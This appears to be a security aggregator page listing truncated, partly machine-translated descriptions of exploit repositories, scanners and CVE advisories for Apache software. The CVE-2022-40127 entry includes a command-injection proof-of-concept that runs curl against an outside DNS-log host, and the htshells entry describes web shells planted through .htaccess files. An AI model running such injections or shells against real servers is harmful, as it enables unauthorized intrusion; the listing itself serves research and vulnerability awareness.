patchright

🎭 Patchright...

WebLogic-Shiro-shell

Condivisione tecnica sulla deserializzazione Java Questa condivisione riguarda i seguenti punti: 1. Basi di serializzazione e deserializzazione Java 2. Perché si verificano vulnerabilità durante la deserializzazione? 3. Riflessione Java 4. ysoserial CommonsCollections2、CommonsCollections5 5...

tsunami-security-scanner

Tsunami Tsunami è uno scanner di sicurezza di rete generico con un sistema di plugin estensibile per rilevare vulnerabilità ad alta severità con alta confidenza. Per saperne di più su Tsunami, visita la nostra documentazione. Tsunami si basa fortemente sul suo sistema di plugin per fornire capaci...

brpc

Versione cinese bRPC è un framework RPC di livello industriale scritto in C++, spesso utilizzato in sistemi ad alte prestazioni come Ricerca, Storage, Machine learning, Pubblicità, Raccomandazione, ecc. "bRPC" significa "better RPC". Puoi usarlo per: Costruire un server che può comunicare con...

htshells

HTSHELLS - Web shell autocontenute e altri attacchi tramite file .htaccess. Gli attacchi sono nominati secondo il seguente schema, module.attack.htaccess e raggruppati per tipo di attacco in directory. Scegli quello che ti serve e copialo in un nuovo file chiamato .htaccess, controlla il file per...

CVE-2026-58624

A flaw was found in the sshd-git component of Apache MINA SSHD, specifically within its GitPgmCommandFactory. An authenticated SSH user could exploit improper input validation to execute arbitrary JGit commands. This allows an attacker to write files to arbitrary locations on the server,...

CVE-2026-63687

A flaw was found in Apache CXF. This vulnerability allows an attacker, who has compromised a client's secret, to bypass critical security protections in the authorization process. By injecting malicious values for parameters like codechallenge and nonce, the attacker can undermine the integrity o...

CVE-2026-63041

Reliance on Untrusted Inputs in a Security Decision vulnerability in Apache APISIX. This vulnerability allows an attacker to escalate privilege or perform an authorization bypass by sending certain values that the attach-consumer-label plugin does not sanitise correctly. This issue affects Apache...

CVE-2020-13935

Exploit per la vulnerabilità WebSocket in Apache Tomcat CVE-2020-13935 Nel blog post corrispondente vengono spiegate in dettaglio l'analisi e lo sfruttamento della vulnerabilità. Utilizzo Clona il repository, quindi compila il binario tcdos. Esegui il programma come segue per testare se un...

Solr-RCE-CVE-2019-0192

Solr-RCE-CVE-2019-0192 Esecuzione di codice remoto Apache Solr tramite dataImportHandler Versione Solr target: 1.3 – 8.2 Requisiti: DataImportHandler deve essere abilitato, cosa che non avviene per impostazione predefinita. Ho testato sulla versione 6.2 python python solrRCE.py...

CVE-2021-41773

CVE-2021-41773 Vulnerabilità di Path Traversal in Apache 2.4.49 Questo problema interessa solo Apache 2.4.49 e non le versioni precedenti. ULTERIORI INFORMAZIONI https://pentesterguruji-notes.notion.site/CVE-2021-41733-f58b52f484b94671b319c107ac2739bf...

westone-CVE-2020-17519-scanner

westone-CVE-2020-17519-scanner Apache Flink 1.11.0、1.11.1、1.11.2 Hackers podem ler/escrever arquivos remotos via REST API Instalação e Uso git clone https://github.com/Osyanina/westone-CVE-2020-17519-scanner.git cd westone-CVE-2020-17519-scanner cmd CVE-2020-17519.exe...

westone-CVE-2021-37580-scanner

westone-CVE-2021-37580-scanner Apache Shenyu ist eine erweiterbare, leistungsstarke und reaktionsfähige API-Gateway-Lösung, die in allen Microservice-Szenarien eingesetzt wird. In Apache Shenyu admin existiert eine Sicherheitslücke zur Umgehung der Authentifizierung. Die unsachgemäße Verwendung v...

EUVD-2026-66409

Reliance on Untrusted Inputs in a Security Decision vulnerability in Apache APISIX. This vulnerability allows an attacker to escalate privilege or perform an authorization bypass by sending certain values that the attach-consumer-label plugin does not sanitise correctly. This issue affects Apache...

CVE-2026-63041 Apache APISIX: attach-consumer-label does not strip client-supplied consumer-label headers

Reliance on Untrusted Inputs in a Security Decision vulnerability in Apache APISIX. This vulnerability allows an attacker to escalate privilege or perform an authorization bypass by sending certain values that the attach-consumer-label plugin does not sanitise correctly. This issue affects Apache...

CVE-2026-63041

This vulnerability affects the attach-consumer-label plugin in Apache APISIX , an API gateway. The plugin fails to strip client-supplied consumer-label headers, leading to a reliance on untrusted inputs in security decisions . An attacker can send crafted header values to escalate privileges or b...

CVE-2025-24813

CVE-2025-24813 - Vulnerabilità di Path Equivalence in Apache Tomcat Apache Tomcat è vulnerabile a un problema di Path Equivalence / Path Traversal dovuto alla gestione impropria delle sequenze ../ nei percorsi. ID CVE: CVE-2025-24813 Gravità: Critica Link di riferimento:...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog के माध्यम से POC 2 root@kitploit:...

CVE-2023-37582_EXPLOIT

CVE-2023-37582EXPLOIT Apache RocketMQ Schwachstelle für beliebiges Dateischreiben Exploit Demo Übersicht Tatsächlich wurde die Schwachstelle für beliebiges Dateischreiben CVE-2023-37582 in Apache RocketMQ bereits in der CVE-2023-33246 RCE-Schwachstelle behandelt. Allerdings ist der für...

CVE-2022-22965

Vulnerabilità Spring4Shell - CVE-2022-22965 📕 Introduzione La vulnerabilità spring4shell è stata chiamata così a causa di 2 vulnerabilità trovate e ampiamente sfruttate dagli attaccanti all'inizio del 2022. Una di queste vulnerabilità si trova nel componente del framework chiamato "Spring Cloud...